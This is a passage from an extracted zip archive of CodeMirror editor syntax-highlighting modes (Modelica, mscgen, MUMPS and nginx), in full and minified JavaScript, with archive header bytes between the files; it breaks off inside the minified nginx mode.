j=b.indentUnit,k=c.keywords||{},l=c.builtin||{},m=c.atoms||{},n=/[;=\(:\),{}.*<>+\-\/^\[\]]/,o=/(:=|<=|>=|==|<>|\.\+|\.\-|\.\*|\.\/|\.\^)/,p=/[0-9]/,q=/[_a-zA-Z]/;return{startState:function(){return{tokenize:null,level:0,sol:!0}},token:function(a,b){if(null!=b.tokenize)return
b.tokenize(a,b);if(a.sol()&&(b.sol=!0),a.eatSpace())return
b.tokenize=null,null;var
c=a.next();if("/"==c&&a.eat("/"))b.tokenize=d;else
if("/"==c&&a.eat("*"))b.tokenize=e;else{if(o.test(c+a.peek()))return
a.next(),b.tokenize=null,"operator";if(n.test(c))return
b.tokenize=null,"operator";if(q.test(c))b.tokenize=g;else
if("'"==c&&a.peek()&&"'"!=a.peek())b.tokenize=h;else
if('"'==c)b.tokenize=f;else{if(!p.test(c))return
b.tokenize=null,"error";b.tokenize=i}}return
b.tokenize(a,b)},indent:function(b,c){if(null!=b.tokenize)return a.Pass;var
d=b.level;return/(algorithm)/.test(c)&&d--,/(equation)/.test(c)&&d--,/(initial
algorithm)/.test(c)&&d--,/(initial
equation)/.test(c)&&d--,/(end)/.test(c)&&d--,d>0?j*d:0},blockCommentStart:"/*",blockCommentEnd:"*/",lineComment:"//"}}));!(function(b,c){function
d(a){if(a)for(var b in
a)a.hasOwnProperty(b)&&e.push(b)}"string"==typeof
b&&(b=[b]);var
e=[];d(c.keywords),d(c.builtin),d(c.atoms),e.length&&(c.helperType=b[0],a.registerHelper("hintWords",b[0],e));for(var
f=0;f<b.length;++f)a.defineMIME(b[f],c)})(["text/x-modelica"],{name:"modelica",keywords:b("algorithm
and annotation assert block break class connect connector constant
constrainedby der discrete each else elseif elsewhen encapsulated end
enumeration equation expandable extends external false final flow for
function if import impure in initial inner input loop model not operator or
outer output package parameter partial protected public pure record
redeclare replaceable return stream then true type when while
within"),builtin:b("abs acos actualStream asin atan atan2
cardinality ceil cos cosh delay div edge exp floor getInstanceName homotopy
inStream integer log log10 mod pre reinit rem semiLinear sign sin sinh
spatialDistribution sqrt tan tanh"),atoms:b("Real Boolean Integer
String")})}));PKI��[�_h��
codemirror/mode/mscgen/mscgen.jsnu�[���// CodeMirror, copyright
(c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

// mode(s) for the sequence chart dsl's mscgen, xù and msgenny
// For more information on mscgen, see the site of the original author:
// http://www.mcternan.me.uk/mscgen
//
// This mode for mscgen and the two derivative languages were
// originally made for use in the mscgen_js interpreter
// (https://sverweij.github.io/mscgen_js)

(function(mod) {
  if ( typeof exports == "object" && typeof module ==
"object")// CommonJS
    mod(require("../../lib/codemirror"));
  else if ( typeof define == "function" && define.amd)//
AMD
    define(["../../lib/codemirror"], mod);
  else// Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  var languages = {
    mscgen: {
      "keywords" : ["msc"],
      "options" : ["hscale", "width",
"arcgradient", "wordwraparcs"],
      "constants" : ["true", "false",
"on", "off"],
      "attributes" : ["label", "idurl",
"id", "url", "linecolor",
"linecolour", "textcolor", "textcolour",
"textbgcolor", "textbgcolour",
"arclinecolor", "arclinecolour",
"arctextcolor", "arctextcolour",
"arctextbgcolor", "arctextbgcolour",
"arcskip"],
      "brackets" : ["\\{", "\\}"], // [ and 
] are brackets too, but these get handled in with lists
      "arcsWords" : ["note", "abox",
"rbox", "box"],
      "arcsOthers" : ["\\|\\|\\|",
"\\.\\.\\.", "---", "--",
"<->", "==", "<<=>>",
"<=>", "\\.\\.", "<<>>",
"::", "<:>", "->",
"=>>", "=>", ">>",
":>", "<-", "<<=",
"<=", "<<", "<:", "x-",
"-x"],
      "singlecomment" : ["//", "#"],
      "operators" : ["="]
    },
    xu: {
      "keywords" : ["msc", "xu"],
      "options" : ["hscale", "width",
"arcgradient", "wordwraparcs",
"wordwrapentities", "watermark"],
      "constants" : ["true", "false",
"on", "off", "auto"],
      "attributes" : ["label", "idurl",
"id", "url", "linecolor",
"linecolour", "textcolor", "textcolour",
"textbgcolor", "textbgcolour",
"arclinecolor", "arclinecolour",
"arctextcolor", "arctextcolour",
"arctextbgcolor", "arctextbgcolour",
"arcskip", "title", "deactivate",
"activate", "activation"],
      "brackets" : ["\\{", "\\}"],  // [ and 
] are brackets too, but these get handled in with lists
      "arcsWords" : ["note", "abox",
"rbox", "box", "alt", "else",
"opt", "break", "par", "seq",
"strict", "neg", "critical",
"ignore", "consider", "assert",
"loop", "ref", "exc"],
      "arcsOthers" : ["\\|\\|\\|",
"\\.\\.\\.", "---", "--",
"<->", "==", "<<=>>",
"<=>", "\\.\\.", "<<>>",
"::", "<:>", "->",
"=>>", "=>", ">>",
":>", "<-", "<<=",
"<=", "<<", "<:", "x-",
"-x"],
      "singlecomment" : ["//", "#"],
      "operators" : ["="]
    },
    msgenny: {
      "keywords" : null,
      "options" : ["hscale", "width",
"arcgradient", "wordwraparcs",
"wordwrapentities", "watermark"],
      "constants" : ["true", "false",
"on", "off", "auto"],
      "attributes" : null,
      "brackets" : ["\\{", "\\}"],
      "arcsWords" : ["note", "abox",
"rbox", "box", "alt", "else",
"opt", "break", "par", "seq",
"strict", "neg", "critical",
"ignore", "consider", "assert",
"loop", "ref", "exc"],
      "arcsOthers" : ["\\|\\|\\|",
"\\.\\.\\.", "---", "--",
"<->", "==", "<<=>>",
"<=>", "\\.\\.", "<<>>",
"::", "<:>", "->",
"=>>", "=>", ">>",
":>", "<-", "<<=",
"<=", "<<", "<:", "x-",
"-x"],
      "singlecomment" : ["//", "#"],
      "operators" : ["="]
    }
  }

  CodeMirror.defineMode("mscgen", function(_, modeConfig) {
    var language = languages[modeConfig && modeConfig.language ||
"mscgen"]
    return {
      startState: startStateFn,
      copyState: copyStateFn,
      token: produceTokenFunction(language),
      lineComment : "#",
      blockCommentStart : "/*",
      blockCommentEnd : "*/"
    };
  });

  CodeMirror.defineMIME("text/x-mscgen", "mscgen");
  CodeMirror.defineMIME("text/x-xu", {name: "mscgen",
language: "xu"});
  CodeMirror.defineMIME("text/x-msgenny", {name:
"mscgen", language: "msgenny"});

  function wordRegexpBoundary(pWords) {
    return new RegExp("\\b(" + pWords.join("|") +
")\\b", "i");
  }

  function wordRegexp(pWords) {
    return new RegExp("(" + pWords.join("|") +
")", "i");
  }

  function startStateFn() {
    return {
      inComment : false,
      inString : false,
      inAttributeList : false,
      inScript : false
    };
  }

  function copyStateFn(pState) {
    return {
      inComment : pState.inComment,
      inString : pState.inString,
      inAttributeList : pState.inAttributeList,
      inScript : pState.inScript
    };
  }

  function produceTokenFunction(pConfig) {

    return function(pStream, pState) {
      if (pStream.match(wordRegexp(pConfig.brackets), true, true)) {
        return "bracket";
      }
      /* comments */
      if (!pState.inComment) {
        if (pStream.match(/\/\*[^\*\/]*/, true, true)) {
          pState.inComment = true;
          return "comment";
        }
        if (pStream.match(wordRegexp(pConfig.singlecomment), true, true)) {
          pStream.skipToEnd();
          return "comment";
        }
      }
      if (pState.inComment) {
        if (pStream.match(/[^\*\/]*\*\//, true, true))
          pState.inComment = false;
        else
          pStream.skipToEnd();
        return "comment";
      }
      /* strings */
      if (!pState.inString &&
pStream.match(/\"(\\\"|[^\"])*/, true, true)) {
        pState.inString = true;
        return "string";
      }
      if (pState.inString) {
        if (pStream.match(/[^\"]*\"/, true, true))
          pState.inString = false;
        else
          pStream.skipToEnd();
        return "string";
      }
      /* keywords & operators */
      if (!!pConfig.keywords &&
pStream.match(wordRegexpBoundary(pConfig.keywords), true, true))
        return "keyword";

      if (pStream.match(wordRegexpBoundary(pConfig.options), true, true))
        return "keyword";

      if (pStream.match(wordRegexpBoundary(pConfig.arcsWords), true, true))
        return "keyword";

      if (pStream.match(wordRegexp(pConfig.arcsOthers), true, true))
        return "keyword";

      if (!!pConfig.operators &&
pStream.match(wordRegexp(pConfig.operators), true, true))
        return "operator";

      if (!!pConfig.constants &&
pStream.match(wordRegexp(pConfig.constants), true, true))
        return "variable";

      /* attribute lists */
      if (!pConfig.inAttributeList && !!pConfig.attributes
&& pStream.match(/\[/, true, true)) {
        pConfig.inAttributeList = true;
        return "bracket";
      }
      if (pConfig.inAttributeList) {
        if (pConfig.attributes !== null &&
pStream.match(wordRegexpBoundary(pConfig.attributes), true, true)) {
          return "attribute";
        }
        if (pStream.match(/]/, true, true)) {
          pConfig.inAttributeList = false;
          return "bracket";
        }
      }

      pStream.next();
      return "base";
    };
  }

});
PKI��[��p�\\$codemirror/mode/mscgen/mscgen.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";function b(a){return new
RegExp("\\b("+a.join("|")+")\\b","i")}function
c(a){return new
RegExp("("+a.join("|")+")","i")}function
d(){return{inComment:!1,inString:!1,inAttributeList:!1,inScript:!1}}function
e(a){return{inComment:a.inComment,inString:a.inString,inAttributeList:a.inAttributeList,inScript:a.inScript}}function
f(a){return
function(d,e){if(d.match(c(a.brackets),!0,!0))return"bracket";if(!e.inComment){if(d.match(/\/\*[^\*\/]*/,!0,!0))return
e.inComment=!0,"comment";if(d.match(c(a.singlecomment),!0,!0))return
d.skipToEnd(),"comment"}if(e.inComment)return
d.match(/[^\*\/]*\*\//,!0,!0)?e.inComment=!1:d.skipToEnd(),"comment";if(!e.inString&&d.match(/\"(\\\"|[^\"])*/,!0,!0))return
e.inString=!0,"string";if(e.inString)return
d.match(/[^\"]*\"/,!0,!0)?e.inString=!1:d.skipToEnd(),"string";if(a.keywords&&d.match(b(a.keywords),!0,!0))return"keyword";if(d.match(b(a.options),!0,!0))return"keyword";if(d.match(b(a.arcsWords),!0,!0))return"keyword";if(d.match(c(a.arcsOthers),!0,!0))return"keyword";if(a.operators&&d.match(c(a.operators),!0,!0))return"operator";if(a.constants&&d.match(c(a.constants),!0,!0))return"variable";if(!a.inAttributeList&&a.attributes&&d.match(/\[/,!0,!0))return
a.inAttributeList=!0,"bracket";if(a.inAttributeList){if(null!==a.attributes&&d.match(b(a.attributes),!0,!0))return"attribute";if(d.match(/]/,!0,!0))return
a.inAttributeList=!1,"bracket"}return
d.next(),"base"}}var
g={mscgen:{keywords:["msc"],options:["hscale","width","arcgradient","wordwraparcs"],constants:["true","false","on","off"],attributes:["label","idurl","id","url","linecolor","linecolour","textcolor","textcolour","textbgcolor","textbgcolour","arclinecolor","arclinecolour","arctextcolor","arctextcolour","arctextbgcolor","arctextbgcolour","arcskip"],brackets:["\\{","\\}"],arcsWords:["note","abox","rbox","box"],arcsOthers:["\\|\\|\\|","\\.\\.\\.","---","--","<->","==","<<=>>","<=>","\\.\\.","<<>>","::","<:>","->","=>>","=>",">>",":>","<-","<<=","<=","<<","<:","x-","-x"],singlecomment:["//","#"],operators:["="]},xu:{keywords:["msc","xu"],options:["hscale","width","arcgradient","wordwraparcs","wordwrapentities","watermark"],constants:["true","false","on","off","auto"],attributes:["label","idurl","id","url","linecolor","linecolour","textcolor","textcolour","textbgcolor","textbgcolour","arclinecolor","arclinecolour","arctextcolor","arctextcolour","arctextbgcolor","arctextbgcolour","arcskip","title","deactivate","activate","activation"],brackets:["\\{","\\}"],arcsWords:["note","abox","rbox","box","alt","else","opt","break","par","seq","strict","neg","critical","ignore","consider","assert","loop","ref","exc"],arcsOthers:["\\|\\|\\|","\\.\\.\\.","---","--","<->","==","<<=>>","<=>","\\.\\.","<<>>","::","<:>","->","=>>","=>",">>",":>","<-","<<=","<=","<<","<:","x-","-x"],singlecomment:["//","#"],operators:["="]},msgenny:{keywords:null,options:["hscale","width","arcgradient","wordwraparcs","wordwrapentities","watermark"],constants:["true","false","on","off","auto"],attributes:null,brackets:["\\{","\\}"],arcsWords:["note","abox","rbox","box","alt","else","opt","break","par","seq","strict","neg","critical","ignore","consider","assert","loop","ref","exc"],arcsOthers:["\\|\\|\\|","\\.\\.\\.","---","--","<->","==","<<=>>","<=>","\\.\\.","<<>>","::","<:>","->","=>>","=>",">>",":>","<-","<<=","<=","<<","<:","x-","-x"],singlecomment:["//","#"],operators:["="]}};a.defineMode("mscgen",(function(a,b){return{startState:d,copyState:e,token:f(g[b&&b.language||"mscgen"]),lineComment:"#",blockCommentStart:"/*",blockCommentEnd:"*/"}})),a.defineMIME("text/x-mscgen","mscgen"),a.defineMIME("text/x-xu",{name:"mscgen",language:"xu"}),a.defineMIME("text/x-msgenny",{name:"mscgen",language:"msgenny"})}));PKI��[č/��codemirror/mode/mumps/mumps.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

/*
  This MUMPS Language script was constructed using vbscript.js as a
template.
*/

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
  "use strict";

  CodeMirror.defineMode("mumps", function() {
    function wordRegexp(words) {
      return new RegExp("^((" + words.join(")|(") +
"))\\b", "i");
    }

    var singleOperators = new
RegExp("^[\\+\\-\\*/&#!_?\\\\<>=\\'\\[\\]]");
    var doubleOperators = new
RegExp("^(('=)|(<=)|(>=)|('>)|('<)|([[)|(]])|(^$))");
    var singleDelimiters = new RegExp("^[\\.,:]");
    var brackets = new RegExp("[()]");
    var identifiers = new RegExp("^[%A-Za-z][A-Za-z0-9]*");
    var commandKeywords =
["break","close","do","else","for","goto",
"halt", "hang", "if",
"job","kill","lock","merge","new","open",
"quit", "read", "set", "tcommit",
"trollback", "tstart", "use",
"view", "write", "xecute",
"b","c","d","e","f","g",
"h", "i",
"j","k","l","m","n","o",
"q", "r", "s", "tc",
"tro", "ts", "u", "v",
"w", "x"];
    // The following list includes instrinsic functions _and_ special
variables
    var intrinsicFuncsWords = ["\\$ascii", "\\$char",
"\\$data", "\\$ecode", "\\$estack",
"\\$etrap", "\\$extract", "\\$find",
"\\$fnumber", "\\$get", "\\$horolog",
"\\$io", "\\$increment", "\\$job",
"\\$justify", "\\$length", "\\$name",
"\\$next", "\\$order", "\\$piece",
"\\$qlength", "\\$qsubscript", "\\$query",
"\\$quit", "\\$random", "\\$reverse",
"\\$select", "\\$stack", "\\$test",
"\\$text", "\\$translate", "\\$view",
"\\$x", "\\$y", "\\$a", "\\$c",
"\\$d", "\\$e", "\\$ec", "\\$es",
"\\$et", "\\$f", "\\$fn", "\\$g",
"\\$h", "\\$i", "\\$j", "\\$l",
"\\$n", "\\$na", "\\$o", "\\$p",
"\\$q", "\\$ql", "\\$qs", "\\$r",
"\\$re", "\\$s", "\\$st", "\\$t",
"\\$tr", "\\$v", "\\$z"];
    var intrinsicFuncs = wordRegexp(intrinsicFuncsWords);
    var command = wordRegexp(commandKeywords);

    function tokenBase(stream, state) {
      if (stream.sol()) {
        state.label = true;
        state.commandMode = 0;
      }

      // The <space> character has meaning in MUMPS. Ignoring
consecutive
      // spaces would interfere with interpreting whether the next
non-space
      // character belongs to the command or argument context.

      // Examine each character and update a mode variable whose
interpretation is:
      //   >0 => command    0 => argument    <0 => command
post-conditional
      var ch = stream.peek();

      if (ch == " " || ch == "\t") { // Pre-process
<space>
        state.label = false;
        if (state.commandMode == 0)
          state.commandMode = 1;
        else if ((state.commandMode < 0) || (state.commandMode == 2))
          state.commandMode = 0;
      } else if ((ch != ".") && (state.commandMode >
0)) {
        if (ch == ":")
          state.commandMode = -1;   // SIS - Command post-conditional
        else
          state.commandMode = 2;
      }

      // Do not color parameter list as line tag
      if ((ch === "(") || (ch === "\u0009"))
        state.label = false;

      // MUMPS comment starts with ";"
      if (ch === ";") {
        stream.skipToEnd();
        return "comment";
      }

      // Number Literals // SIS/RLM - MUMPS permits canonic number followed
by concatenate operator
      if (stream.match(/^[-+]?\d+(\.\d+)?([eE][-+]?\d+)?/))
        return "number";

      // Handle Strings
      if (ch == '"') {
        if (stream.skipTo('"')) {
          stream.next();
          return "string";
        } else {
          stream.skipToEnd();
          return "error";
        }
      }

      // Handle operators and Delimiters
      if (stream.match(doubleOperators) || stream.match(singleOperators))
        return "operator";

      // Prevents leading "." in DO block from falling through to
error
      if (stream.match(singleDelimiters))
        return null;

      if (brackets.test(ch)) {
        stream.next();
        return "bracket";
      }

      if (state.commandMode > 0 && stream.match(command))
        return "variable-2";

      if (stream.match(intrinsicFuncs))
        return "builtin";

      if (stream.match(identifiers))
        return "variable";

      // Detect dollar-sign when not a documented intrinsic function
      // "^" may introduce a GVN or SSVN - Color same as function
      if (ch === "$" || ch === "^") {
        stream.next();
        return "builtin";
      }

      // MUMPS Indirection
      if (ch === "@") {
        stream.next();
        return "string-2";
      }

      if (/[\w%]/.test(ch)) {
        stream.eatWhile(/[\w%]/);
        return "variable";
      }

      // Handle non-detected items
      stream.next();
      return "error";
    }

    return {
      startState: function() {
        return {
          label: false,
          commandMode: 0
        };
      },

      token: function(stream, state) {
        var style = tokenBase(stream, state);
        if (state.label) return "tag";
        return style;
      }
    };
  });

  CodeMirror.defineMIME("text/x-mumps", "mumps");
});
PKI��[Wwt���"codemirror/mode/mumps/mumps.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";a.defineMode("mumps",(function(){function
a(a){return new
RegExp("^(("+a.join(")|(")+"))\\b","i")}function
b(a,b){a.sol()&&(b.label=!0,b.commandMode=0);var
h=a.peek();return"
"==h||"\t"==h?(b.label=!1,0==b.commandMode?b.commandMode=1:(b.commandMode<0||2==b.commandMode)&&(b.commandMode=0)):"."!=h&&b.commandMode>0&&(b.commandMode=":"==h?-1:2),"("!==h&&"\t"!==h||(b.label=!1),";"===h?(a.skipToEnd(),"comment"):a.match(/^[-+]?\d+(\.\d+)?([eE][-+]?\d+)?/)?"number":'"'==h?a.skipTo('"')?(a.next(),"string"):(a.skipToEnd(),"error"):a.match(d)||a.match(c)?"operator":a.match(e)?null:f.test(h)?(a.next(),"bracket"):b.commandMode>0&&a.match(k)?"variable-2":a.match(j)?"builtin":a.match(g)?"variable":"$"===h||"^"===h?(a.next(),"builtin"):"@"===h?(a.next(),"string-2"):/[\w%]/.test(h)?(a.eatWhile(/[\w%]/),"variable"):(a.next(),"error")}var
c=new
RegExp("^[\\+\\-\\*/&#!_?\\\\<>=\\'\\[\\]]"),d=new
RegExp("^(('=)|(<=)|(>=)|('>)|('<)|([[)|(]])|(^$))"),e=new
RegExp("^[\\.,:]"),f=new RegExp("[()]"),g=new
RegExp("^[%A-Za-z][A-Za-z0-9]*"),h=["break","close","do","else","for","goto","halt","hang","if","job","kill","lock","merge","new","open","quit","read","set","tcommit","trollback","tstart","use","view","write","xecute","b","c","d","e","f","g","h","i","j","k","l","m","n","o","q","r","s","tc","tro","ts","u","v","w","x"],i=["\\$ascii","\\$char","\\$data","\\$ecode","\\$estack","\\$etrap","\\$extract","\\$find","\\$fnumber","\\$get","\\$horolog","\\$io","\\$increment","\\$job","\\$justify","\\$length","\\$name","\\$next","\\$order","\\$piece","\\$qlength","\\$qsubscript","\\$query","\\$quit","\\$random","\\$reverse","\\$select","\\$stack","\\$test","\\$text","\\$translate","\\$view","\\$x","\\$y","\\$a","\\$c","\\$d","\\$e","\\$ec","\\$es","\\$et","\\$f","\\$fn","\\$g","\\$h","\\$i","\\$j","\\$l","\\$n","\\$na","\\$o","\\$p","\\$q","\\$ql","\\$qs","\\$r","\\$re","\\$s","\\$st","\\$t","\\$tr","\\$v","\\$z"],j=a(i),k=a(h);return{startState:function(){return{label:!1,commandMode:0}},token:function(a,c){var
d=b(a,c);return
c.label?"tag":d}}})),a.defineMIME("text/x-mumps","mumps")}));PKI��[��ѵ'�'codemirror/mode/nginx/nginx.jsnu�[���//
CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: https://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module ==
"object") // CommonJS
    mod(require("../../lib/codemirror"));
  else if (typeof define == "function" && define.amd) //
AMD
    define(["../../lib/codemirror"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.defineMode("nginx", function(config) {

  function words(str) {
    var obj = {}, words = str.split(" ");
    for (var i = 0; i < words.length; ++i) obj[words[i]] = true;
    return obj;
  }

  var keywords = words(
    /* ngxDirectiveControl */ "break return rewrite set" +
    /* ngxDirective */ " accept_mutex accept_mutex_delay access_log
add_after_body add_before_body add_header addition_types aio alias allow
ancient_browser ancient_browser_value auth_basic auth_basic_user_file
auth_http auth_http_header auth_http_timeout autoindex autoindex_exact_size
autoindex_localtime charset charset_types client_body_buffer_size
client_body_in_file_only client_body_in_single_buffer client_body_temp_path
client_body_timeout client_header_buffer_size client_header_timeout
client_max_body_size connection_pool_size create_full_put_path daemon
dav_access dav_methods debug_connection debug_points default_type
degradation degrade deny devpoll_changes devpoll_events directio
directio_alignment empty_gif env epoll_events error_log eventport_events
expires fastcgi_bind fastcgi_buffer_size fastcgi_buffers
fastcgi_busy_buffers_size fastcgi_cache fastcgi_cache_key
fastcgi_cache_methods fastcgi_cache_min_uses fastcgi_cache_path
fastcgi_cache_use_stale fastcgi_cache_valid fastcgi_catch_stderr
fastcgi_connect_timeout fastcgi_hide_header fastcgi_ignore_client_abort
fastcgi_ignore_headers fastcgi_index fastcgi_intercept_errors
fastcgi_max_temp_file_size fastcgi_next_upstream fastcgi_param
fastcgi_pass_header fastcgi_pass_request_body fastcgi_pass_request_headers
fastcgi_read_timeout fastcgi_send_lowat fastcgi_send_timeout
fastcgi_split_path_info fastcgi_store fastcgi_store_access
fastcgi_temp_file_write_size fastcgi_temp_path
fastcgi_upstream_fail_timeout fastcgi_upstream_max_fails flv geoip_city
geoip_country google_perftools_profiles gzip gzip_buffers gzip_comp_level
gzip_disable gzip_hash gzip_http_version gzip_min_length gzip_no_buffer
gzip_proxied gzip_static gzip_types gzip_vary gzip_window if_modified_since
ignore_invalid_headers image_filter image_filter_buffer
image_filter_jpeg_quality image_filter_transparency imap_auth
imap_capabilities imap_client_buffer index ip_hash keepalive_requests
keepalive_timeout kqueue_changes kqueue_events large_client_header_buffers
limit_conn limit_conn_log_level limit_rate limit_rate_after limit_req
limit_req_log_level limit_req_zone limit_zone lingering_time
lingering_timeout lock_file log_format log_not_found log_subrequest
map_hash_bucket_size map_hash_max_size master_process memcached_bind
memcached_buffer_size memcached_connect_timeout memcached_next_upstream
memcached_read_timeout memcached_send_timeout
memcached_upstream_fail_timeout memcached_upstream_max_fails merge_slashes
min_delete_depth modern_browser modern_browser_value msie_padding
msie_refresh multi_accept open_file_cache open_file_cache_errors
open_file_cache_events open_file_cache_min_uses open_file_cache_valid
open_log_file_cache output_buffers override_charset perl perl_modules
perl_require perl_set pid pop3_auth pop3_capabilities port_in_redirect
postpone_gzipping postpone_output protocol proxy proxy_bind proxy_buffer
proxy_buffer_size proxy_buffering proxy_buffers proxy_busy_buffers_size
proxy_cache proxy_cache_key proxy_cache_methods proxy_cache_min_uses
proxy_cache_path proxy_cache_use_stale proxy_cache_valid
proxy_connect_timeout proxy_headers_hash_bucket_size
proxy_headers_hash_max_size proxy_hide_header proxy_ignore_client_abort
proxy_ignore_headers proxy_intercept_errors proxy_max_temp_file_size
proxy_method proxy_next_upstream proxy_pass_error_message proxy_pass_header
proxy_pass_request_body proxy_pass_request_headers proxy_read_timeout
proxy_redirect proxy_send_lowat proxy_send_timeout proxy_set_body
proxy_set_header proxy_ssl_session_reuse proxy_store proxy_store_access
proxy_temp_file_write_size proxy_temp_path proxy_timeout
proxy_upstream_fail_timeout proxy_upstream_max_fails random_index
read_ahead real_ip_header recursive_error_pages request_pool_size
reset_timedout_connection resolver resolver_timeout rewrite_log
rtsig_overflow_events rtsig_overflow_test rtsig_overflow_threshold
rtsig_signo satisfy secure_link_secret send_lowat send_timeout sendfile
sendfile_max_chunk server_name_in_redirect server_names_hash_bucket_size
server_names_hash_max_size server_tokens set_real_ip_from smtp_auth
smtp_capabilities smtp_client_buffer smtp_greeting_delay so_keepalive
source_charset ssi ssi_ignore_recycled_buffers ssi_min_file_chunk
ssi_silent_errors ssi_types ssi_value_length ssl ssl_certificate
ssl_certificate_key ssl_ciphers ssl_client_certificate ssl_crl ssl_dhparam
ssl_engine ssl_prefer_server_ciphers ssl_protocols ssl_session_cache
ssl_session_timeout ssl_verify_client ssl_verify_depth starttls stub_status
sub_filter sub_filter_once sub_filter_types tcp_nodelay tcp_nopush
thread_stack_size timeout timer_resolution types_hash_bucket_size
types_hash_max_size underscores_in_headers uninitialized_variable_warn use
user userid userid_domain userid_expires userid_mark userid_name userid_p3p
userid_path userid_service valid_referers variables_hash_bucket_size
variables_hash_max_size worker_connections worker_cpu_affinity
worker_priority worker_processes worker_rlimit_core worker_rlimit_nofile
worker_rlimit_sigpending worker_threads working_directory xclient
xml_entities xslt_stylesheet xslt_typesdrew@li229-23"
    );

  var keywords_block = words(
    /* ngxDirectiveBlock */ "http mail events server types location
upstream charset_map limit_except if geo map"
    );

  var keywords_important = words(
    /* ngxDirectiveImportant */ "include root server server_name
listen internal proxy_pass memcached_pass fastcgi_pass try_files"
    );

  var indentUnit = config.indentUnit, type;
  function ret(style, tp) {type = tp; return style;}

  function tokenBase(stream, state) {


    stream.eatWhile(/[\w\$_]/);

    var cur = stream.current();


    if (keywords.propertyIsEnumerable(cur)) {
      return "keyword";
    }
    else if (keywords_block.propertyIsEnumerable(cur)) {
      return "variable-2";
    }
    else if (keywords_important.propertyIsEnumerable(cur)) {
      return "string-2";
    }
    /**/

    var ch = stream.next();
    if (ch == "@") {stream.eatWhile(/[\w\\\-]/); return
ret("meta", stream.current());}
    else if (ch == "/" && stream.eat("*")) {
      state.tokenize = tokenCComment;
      return tokenCComment(stream, state);
    }
    else if (ch == "<" && stream.eat("!")) {
      state.tokenize = tokenSGMLComment;
      return tokenSGMLComment(stream, state);
    }
    else if (ch == "=") ret(null, "compare");
    else if ((ch == "~" || ch == "|") &&
stream.eat("=")) return ret(null, "compare");
    else if (ch == "\"" || ch == "'") {
      state.tokenize = tokenString(ch);
      return state.tokenize(stream, state);
    }
    else if (ch == "#") {
      stream.skipToEnd();
      return ret("comment", "comment");
    }
    else if (ch == "!") {
      stream.match(/^\s*\w*/);
      return ret("keyword", "important");
    }
    else if (/\d/.test(ch)) {
      stream.eatWhile(/[\w.%]/);
      return ret("number", "unit");
    }
    else if (/[,.+>*\/]/.test(ch)) {
      return ret(null, "select-op");
    }
    else if (/[;{}:\[\]]/.test(ch)) {
      return ret(null, ch);
    }
    else {
      stream.eatWhile(/[\w\\\-]/);
      return ret("variable", "variable");
    }
  }

  function tokenCComment(stream, state) {
    var maybeEnd = false, ch;
    while ((ch = stream.next()) != null) {
      if (maybeEnd && ch == "/") {
        state.tokenize = tokenBase;
        break;
      }
      maybeEnd = (ch == "*");
    }
    return ret("comment", "comment");
  }

  function tokenSGMLComment(stream, state) {
    var dashes = 0, ch;
    while ((ch = stream.next()) != null) {
      if (dashes >= 2 && ch == ">") {
        state.tokenize = tokenBase;
        break;
      }
      dashes = (ch == "-") ? dashes + 1 : 0;
    }
    return ret("comment", "comment");
  }

  function tokenString(quote) {
    return function(stream, state) {
      var escaped = false, ch;
      while ((ch = stream.next()) != null) {
        if (ch == quote && !escaped)
          break;
        escaped = !escaped && ch == "\\";
      }
      if (!escaped) state.tokenize = tokenBase;
      return ret("string", "string");
    };
  }

  return {
    startState: function(base) {
      return {tokenize: tokenBase,
              baseIndent: base || 0,
              stack: []};
    },

    token: function(stream, state) {
      if (stream.eatSpace()) return null;
      type = null;
      var style = state.tokenize(stream, state);

      var context = state.stack[state.stack.length-1];
      if (type == "hash" && context == "rule")
style = "atom";
      else if (style == "variable") {
        if (context == "rule") style = "number";
        else if (!context || context == "@media{") style =
"tag";
      }

      if (context == "rule" && /^[\{\};]$/.test(type))
        state.stack.pop();
      if (type == "{") {
        if (context == "@media")
state.stack[state.stack.length-1] = "@media{";
        else state.stack.push("{");
      }
      else if (type == "}") state.stack.pop();
      else if (type == "@media")
state.stack.push("@media");
      else if (context == "{" && type !=
"comment") state.stack.push("rule");
      return style;
    },

    indent: function(state, textAfter) {
      var n = state.stack.length;
      if (/^\}/.test(textAfter))
        n -= state.stack[state.stack.length-1] == "rule" ? 2 : 1;
      return state.baseIndent + n * indentUnit;
    },

    electricChars: "}"
  };
});

CodeMirror.defineMIME("text/x-nginx-conf", "nginx");

});
PKI��[Dh@}}"codemirror/mode/nginx/nginx.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)})((function(a){"use
strict";a.defineMode("nginx",(function(a){function
b(a){for(var b={},c=a.split("
"),d=0;d<c.length;++d)b[c[d]]=!0;return b}function c(a,b){return
h=b,a}function d(a,b){a.eatWhile(/[\w\$_]/);var
d=a.current();if(i.propertyIsEnumerable(d))return"keyword";if(j.propertyIsEnumerable(d))return"variable-2";if(k.propertyIsEnumerable(d))return"string-2";var
